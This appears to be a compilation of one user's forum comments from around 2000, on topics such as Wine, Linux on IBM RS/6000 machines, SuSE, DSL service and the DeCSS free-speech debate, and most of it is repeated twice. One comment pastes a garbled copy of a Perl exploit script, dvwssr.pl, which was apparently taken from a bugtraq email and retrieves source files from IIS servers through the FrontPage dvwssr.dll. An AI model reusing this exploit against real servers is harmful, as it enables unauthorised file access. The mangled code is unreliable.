If it becomes so easy to run Windows Software on Linux (with all the *good* and bad that windows software has), won't this make it harder for companies like Loki who want to make true ports of games and other software to Linux?
If I can run quake via Wine, why would I run Loki's version?
Granted you have to have a subscription to get into the website, but The Perl Journal published a really kewl article on converting C to english using a perl script called decss2.pl. More info on converting C code to gramatically correct English is here. The author of the article published the entire deccs program in english in the fall issue.
I always struggled with the real differences between a notebook and a laptop. Other than size and weight I've never really found any difference. It's nice to see that someone is going to make a diffinitive stand and make a true notebook computer.
I just can't figure why anyone would need to write something on paper?...I bet the government/insurance/healthcare people who need everything in double triplicate are driving the market for this contraption.
Greetings.
Will LinuxPPC provide more support for RS/6Ks in the future? Bootable media would be a neat feature as well as simpler partitioning, and better device detection! The story leading up to my question is below -
I recently started working with LinuxPPC on a couple of RS/6000s my last company had (while I was still with them). I really had a lot of trouble getting the distro to install. One part included hand configuring the frame buffer device so that the graphical install would run. Another involved having to set the partitions with out any real knowledge of what was required (like a PReP boot partition). Lastly I encountered needing a updated kernel for the installation boot disk, which was provided by someone outside of linuxppc.org. In all it was a grand fun time, but the difficulties were tough to get over.
How long has O'Reily been publishing *nix oriented books? I really don't know, but I would imagine that it's been a while. Perhaps all these bad reviews are from the guy who started reading O'Reily books to learn how to be a sysadmin, 10 years ago...not the 20 something guy who's just leaning the ropes.
Maybe back 10 years ago, the venerable sysadmins were ripping the O'Reily books you were reading. I haven't read the book...but I am a sysadmin with 5 yrs in the biz. I'm not a perl guru, and I've really never had time to learn it. Perhaps I should...perhaps I shouldn't. But it seems that if you know everything there is to know about being a sysadmin, you shouldn't need this book. So why are so many of you complaining about wasting your money?
...By eliminating white/grey/black hat hackers' ability to try to break down software, we also eliminate any legal way for the user community to police the manufacturer of that software.
Perhaps someday all the hackers will be sentenced to death and then we'll just have to worry about the company who wrote your financial package leaving a backdoor into your bank account for themselves.
I signed on the dotted line with PhoenixDSL back around 6/20. After some install hassles between the telco, DSL carrier and PhoenixDSL my service was up and running about mid August. Since then, I've been quite pleased. The bandwidth is strong an seemingly reliable, tech support is interesting in that they have a 1 on 1 chat app which I used to to have them setup my email accounts.
Typically the biggest problem is the coordination of the three providers (telco, DSL, and Internet). The telco here in Cleveland visited my apartment twice before I ever received a scheduling request from Phoenix. Northpoint, the DSL carrier in my area, was excellent. The install tech actually showed up early, and he was much more of an expert than I had expected. When he left all was well. I'm getting the expected 768/385Kbps and I couldn't be happier.
I just flew from Cleveland to Houston last night on a decent flight w/ real time flight info of airspeed/altitude/direction/position etc on the overhead screens...I must say though, the music channels sucked. I would have much rather listened to a broadcast feed of the Indians beating Boston!
It seems from the article that this is a all or nothing thing. Why can't Iridium sell the SATs individually, so that they migh be able used for something other than the Iridium network?
Is this book really a good place to start? I'm a novice C programmer, who hasn't really programmed anything since taking C and assembler for VAX/VMS in college back in '92.
Perhaps this is covered in the historical section of the book, but one task I've thought about try is to re-invent the wheel and try to build a linux system from scratch with just the kernel. I've always been curious about how the development of an OS starts...I mean take a raw disk with no filesystem and your basic computer and how do you go about building an OS like linux? I would assume you need to understand the boot process and what it is that must be done when the machine boots.
Over the passed couple of years I've worked with RS/6000s and I've found it quite interesting that IBM can boot any of their machines - Microchannel or PCI based - from an AIX install CD, but none of the PPC linux distros can seem to create a bootable CD Image. I'd really like to delve into the basics of the Kernel and how it boots a machine boots to help with the PPC folks in getting a bootable install image.
An applications company will necessarily develop for all platforms, since it will not care about the success of a particular one. Office for Mac and Linux is right around the corner. An applications company will seek to maximize profits by making it's product available on all possible platforms.
It's unlikely that this will happen in the near future. M$ has maintained it's share of the Apps market with out extensive development on other platforms. WordPerfect has been running on nearly all platforms for a very long time, but it's market share pales in comparison.
The only thing that will force heavier development for alternative platforms will be the decline of the winblows market share. And in the case of a breakup, the "Net Affect" that Microsoft has developed will not be significantly diminished.
Windows is Windows is Windows, it's not going to matter who makes it. The only real solution is to create a Open Application architecture that all companies will develop there apps for regardless of what platform the app needs to run on.
I've been waiting for this day! Although I didn't like the immediate download when I went to the site, I'd like to see this prosper. It's too bad I haven't coded anything since working on a couple MUDs back in '94.
It's just like riding a bike right?...once you learn you never forget?
I'd like to think I'm your average well adjusted 26 year old professional computer geek. Do I play FPS games?...Sure! Do I like watching violent movies?...Sure! Did I play Dungeons and Dragons?...You bet!
Do I collect guns?...Hell no (unless you count a splat ball gun)! Have I thought about what it would be like to kill someone?...Sure. Have I killed someone?...not that I recall. Have I ever grabbed a sword and some chain mail and duel'd it out with the DM?...No!
Bottom line is there are people who can't seperate reality from fantasy, and there are those who can. It doesn't matter what you do, Quake, Magic, D&D, or Karate Magazines...if a person can't seperate fantasy from reality bad things are bound to happen.
I'm finding that odd, as I bought a retail copy of SuSE 6.4 from Best Buy over the weekend.
I started using SuSE nearly two years ago after I started working for a company with limited bandwidth. I used to download everything I needed at work, burn it to a CD and take it home. SuSE solved that problem for me with the 5/6 CD set they distribute.
So anyway, I was at Best Buy on Sunday with a friend who's looking to get into Linux usage at home and as we turned the corner to the OS's isle, it was like a light from heaven was cast down upon the SuSE 6.4 retail box. Needless to say, we quickly snatched up a couple copies, and made a break for the check out line.
Yast can be quite time consuming if you really want to take a look at all the packages you can install, but I must say it beats downloading and compiling all those packages over a 56K dialup. I also think the time is well worth getting a bunch of packages you don't want installed on your system. SuSE combines the best of the "Workstation or Server?" type of setup that RedHat uses, and the "Nuts and Bolts" approach where you go with the bare minimum then download and build from source. You can choose a preconfigured set of packages that suits you and customize from there.
SuSE Rocks...Hopefully I'll be able to install 6.4 on a system with enough resources to run Yast2 on next week.
Although there's no real demand (I assume), I've got 3 IBM RS/6000 43P Models 132 (2), and 100 (1). I'd love to get linux running on one/all of these. I've also got several older Microchannel models that I'd love to give a whirl on. None of these systems are supported. I guess I'm not quite learned enough with the architecture to comprehend the issues, but I'd really like to see a day when I can replace AIX in my environment with PowerPC Linux.
Hey wait a minute everyone...maybe this is just another M$ Easter Egg. When you hack this DLL does it show you some nifty little.avi with the Developer Credits?
Soap box { Dr. Junger's case on crypto is no where near an art display of naked children or the propogation of Melissa to destroy our computers. Freedom of Speech is the law of the land. Anyone and now nearly anything can hide behind this right of us US citizens. The real question is does this catch all doctorine now allow people to misuse this wonderful right?
The idea that software code is written word is something I've always thought should be the case. I've met Dr. Junger, he seems to be a die hard Linux/FreeBSD user and dedicated to the Open Source movement. Why should he not be able to publish his crypto teachings?...because of some government law which says the crypto the US has is above and beyond any other country's and should be classified as a military weapon? I think NOT!
This case should now open the door to publishing the Source for DeCSS...not the binaries, but the source...as it is the only item covered under the freedom of speech. The law may very well state that the DeCSS code is covered under the freedom of speech, but it's usage is criminal. Just like Guns and the 4th Ammendment! Shoot someone and go to jail...but feel free to own a gun. } xob paoS
Call me cosmetic, but not matter what it's functionality, I'd like to find a phone that looks like that cell phone Morpheus' crew used in the Matrix.
I can just imagine being at the local bar, getting a call and whipping out my spring loaded cell phone...
But then again, I guess that phone didn't actually exist since it was just a bunch of 1s and 0s formulated into an image and projected into one's brain.
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If it becomes so easy to run Windows Software on Linux (with all the *good* and bad that windows software has), won't this make it harder for companies like Loki who want to make true ports of games and other software to Linux?
If I can run quake via Wine, why would I run Loki's version?
Granted you have to have a subscription to get into the website, but The Perl Journal published a really kewl article on converting C to english using a perl script called decss2.pl. More info on converting C code to gramatically correct English is here. The author of the article published the entire deccs program in english in the fall issue.
I always struggled with the real differences between a notebook and a laptop. Other than size and weight I've never really found any difference. It's nice to see that someone is going to make a diffinitive stand and make a true notebook computer.
I just can't figure why anyone would need to write something on paper?...I bet the government/insurance/healthcare people who need everything in double triplicate are driving the market for this contraption.
For a more home theater centric site check this linkage - ecoustics.com's Home Theater Section.
Greetings.
Will LinuxPPC provide more support for RS/6Ks in the future? Bootable media would be a neat feature as well as simpler partitioning, and better device detection! The story leading up to my question is below -
I recently started working with LinuxPPC on a couple of RS/6000s my last company had (while I was still with them). I really had a lot of trouble getting the distro to install. One part included hand configuring the frame buffer device so that the graphical install would run. Another involved having to set the partitions with out any real knowledge of what was required (like a PReP boot partition). Lastly I encountered needing a updated kernel for the installation boot disk, which was provided by someone outside of linuxppc.org. In all it was a grand fun time, but the difficulties were tough to get over.
Thanks!
How long has O'Reily been publishing *nix oriented books? I really don't know, but I would imagine that it's been a while. Perhaps all these bad reviews are from the guy who started reading O'Reily books to learn how to be a sysadmin, 10 years ago...not the 20 something guy who's just leaning the ropes.
Maybe back 10 years ago, the venerable sysadmins were ripping the O'Reily books you were reading. I haven't read the book...but I am a sysadmin with 5 yrs in the biz. I'm not a perl guru, and I've really never had time to learn it. Perhaps I should...perhaps I shouldn't. But it seems that if you know everything there is to know about being a sysadmin, you shouldn't need this book. So why are so many of you complaining about wasting your money?
...By eliminating white/grey/black hat hackers' ability to try to break down software, we also eliminate any legal way for the user community to police the manufacturer of that software.
Perhaps someday all the hackers will be sentenced to death and then we'll just have to worry about the company who wrote your financial package leaving a backdoor into your bank account for themselves.
About a week or so ago I posted the original news about the SEC filings. I guess you really have to be someone to be posted on /.
I signed on the dotted line with PhoenixDSL back around 6/20. After some install hassles between the telco, DSL carrier and PhoenixDSL my service was up and running about mid August. Since then, I've been quite pleased. The bandwidth is strong an seemingly reliable, tech support is interesting in that they have a 1 on 1 chat app which I used to to have them setup my email accounts.
Typically the biggest problem is the coordination of the three providers (telco, DSL, and Internet). The telco here in Cleveland visited my apartment twice before I ever received a scheduling request from Phoenix. Northpoint, the DSL carrier in my area, was excellent. The install tech actually showed up early, and he was much more of an expert than I had expected. When he left all was well. I'm getting the expected 768/385Kbps and I couldn't be happier.
I just flew from Cleveland to Houston last night on a decent flight w/ real time flight info of airspeed/altitude/direction/position etc on the overhead screens...I must say though, the music channels sucked. I would have much rather listened to a broadcast feed of the Indians beating Boston!
It seems from the article that this is a all or nothing thing. Why can't Iridium sell the SATs individually, so that they migh be able used for something other than the Iridium network?
It's kind of like The Good, The Bad and The Ugly. White = Good, Black = Bad, Grey = Indifferent.
Is this book really a good place to start? I'm a novice C programmer, who hasn't really programmed anything since taking C and assembler for VAX/VMS in college back in '92.
Perhaps this is covered in the historical section of the book, but one task I've thought about try is to re-invent the wheel and try to build a linux system from scratch with just the kernel. I've always been curious about how the development of an OS starts...I mean take a raw disk with no filesystem and your basic computer and how do you go about building an OS like linux? I would assume you need to understand the boot process and what it is that must be done when the machine boots.
Over the passed couple of years I've worked with RS/6000s and I've found it quite interesting that IBM can boot any of their machines - Microchannel or PCI based - from an AIX install CD, but none of the PPC linux distros can seem to create a bootable CD Image. I'd really like to delve into the basics of the Kernel and how it boots a machine boots to help with the PPC folks in getting a bootable install image.
An applications company will necessarily develop for all platforms, since it will not care about the success of a particular one. Office for Mac and Linux is right around the corner. An applications company will seek to maximize profits by making it's product available on all possible platforms.
It's unlikely that this will happen in the near future. M$ has maintained it's share of the Apps market with out extensive development on other platforms. WordPerfect has been running on nearly all platforms for a very long time, but it's market share pales in comparison.
The only thing that will force heavier development for alternative platforms will be the decline of the winblows market share. And in the case of a breakup, the "Net Affect" that Microsoft has developed will not be significantly diminished.
Windows is Windows is Windows, it's not going to matter who makes it. The only real solution is to create a Open Application architecture that all companies will develop there apps for regardless of what platform the app needs to run on.
I've been waiting for this day!
Although I didn't like the immediate download when I went to the site, I'd like to see this prosper. It's too bad I haven't coded anything since working on a couple MUDs back in '94.
It's just like riding a bike right?...once you learn you never forget?
I'd like to think I'm your average well adjusted 26 year old professional computer geek.
Do I play FPS games?...Sure!
Do I like watching violent movies?...Sure!
Did I play Dungeons and Dragons?...You bet!
Do I collect guns?...Hell no (unless you count a splat ball gun)!
Have I thought about what it would be like to kill someone?...Sure.
Have I killed someone?...not that I recall.
Have I ever grabbed a sword and some chain mail and duel'd it out with the DM?...No!
Bottom line is there are people who can't seperate reality from fantasy, and there are those who can. It doesn't matter what you do, Quake, Magic, D&D, or Karate Magazines...if a person can't seperate fantasy from reality bad things are bound to happen.
I'm finding that odd, as I bought a retail copy of SuSE 6.4 from Best Buy over the weekend.
I started using SuSE nearly two years ago after I started working for a company with limited bandwidth. I used to download everything I needed at work, burn it to a CD and take it home. SuSE solved that problem for me with the 5/6 CD set they distribute.
So anyway, I was at Best Buy on Sunday with a friend who's looking to get into Linux usage at home and as we turned the corner to the OS's isle, it was like a light from heaven was cast down upon the SuSE 6.4 retail box. Needless to say, we quickly snatched up a couple copies, and made a break for the check out line.
Yast can be quite time consuming if you really want to take a look at all the packages you can install, but I must say it beats downloading and compiling all those packages over a 56K dialup. I also think the time is well worth getting a bunch of packages you don't want installed on your system. SuSE combines the best of the "Workstation or Server?" type of setup that RedHat uses, and the "Nuts and Bolts" approach where you go with the bare minimum then download and build from source. You can choose a preconfigured set of packages that suits you and customize from there.
SuSE Rocks...Hopefully I'll be able to install 6.4 on a system with enough resources to run Yast2 on next week.
Although there's no real demand (I assume), I've got 3 IBM RS/6000 43P Models 132 (2), and 100 (1). I'd love to get linux running on one/all of these. I've also got several older Microchannel models that I'd love to give a whirl on. None of these systems are supported. I guess I'm not quite learned enough with the architecture to comprehend the issues, but I'd really like to see a day when I can replace AIX in my environment with PowerPC Linux.
Snipped from a bugtraq email...I thought it was a pretty nifty - #!/usr/bin/perl /file/to/retrieve/source /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($fi le)." HTTP/1.0\n\n";p qrstuvwxyz0123456789";
# dvwssr.pl by rain forest puppy (only tested on Linux, as usual)
#
# Usage: dvwssr.pl arget_host
#
use Socket;
$ip=$ARGV[0];
$file=$ARGV[1];
print "Encoding to: ".encodefilename($file)."\n";
$url="GET
print sendraw($url);
sub encodefilename {
my $from=shift;
my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmno
#
#
my $key="Netscape engineers are weenies!";
#
#
my $kc=length($from);
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){
$tmp= $kv - $fv;
if($tmp if(++$kc >= length($key)){ $kc=0;}
}return $to;}
sub sendraw {
my ($pstr)=@_;
my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){ select(S);
$|=1;
print $pstr;
my @in=;
select(STDOUT);
close(S);
return @in;
} else { die("Can't connect...\n"); }}
Hey wait a minute everyone...maybe this is just another M$ Easter Egg. When you hack this DLL does it show you some nifty little .avi with the Developer Credits?
You might want to try the Cryptonomicon. I haven't picked it up myself but it seemed to have received good reviews from slash dotters.
Point being...
Virus code = ok by freedom of speech
Using virus code destructively = Crime not protected by free speech.
Owning a gun = ok by 4th Ammendment
Killing someone with your gun = Crime not protected under 4th Ammendment
Same concept different applications.
Soap box
{
Dr. Junger's case on crypto is no where near an art display of naked children or the propogation of Melissa to destroy our computers. Freedom of Speech is the law of the land. Anyone and now nearly anything can hide behind this right of us US citizens. The real question is does this catch all doctorine now allow people to misuse this wonderful right?
The idea that software code is written word is something I've always thought should be the case. I've met Dr. Junger, he seems to be a die hard Linux/FreeBSD user and dedicated to the Open Source movement. Why should he not be able to publish his crypto teachings?...because of some government law which says the crypto the US has is above and beyond any other country's and should be classified as a military weapon? I think NOT!
This case should now open the door to publishing the Source for DeCSS...not the binaries, but the source...as it is the only item covered under the freedom of speech. The law may very well state that the DeCSS code is covered under the freedom of speech, but it's usage is criminal. Just like Guns and the 4th Ammendment! Shoot someone and go to jail...but feel free to own a gun.
}
xob paoS
Call me cosmetic, but not matter what it's functionality, I'd like to find a phone that looks like that cell phone Morpheus' crew used in the Matrix.
I can just imagine being at the local bar, getting a call and whipping out my spring loaded cell phone...
But then again, I guess that phone didn't actually exist since it was just a bunch of 1s and 0s formulated into an image and projected into one's brain.
I guess this means it will be a while before we see a real life version of Tom Clancy's Net Force implemented.
Maybe someday the powers that be will wise up and realize that they aren't the only ones who have to worry about information security.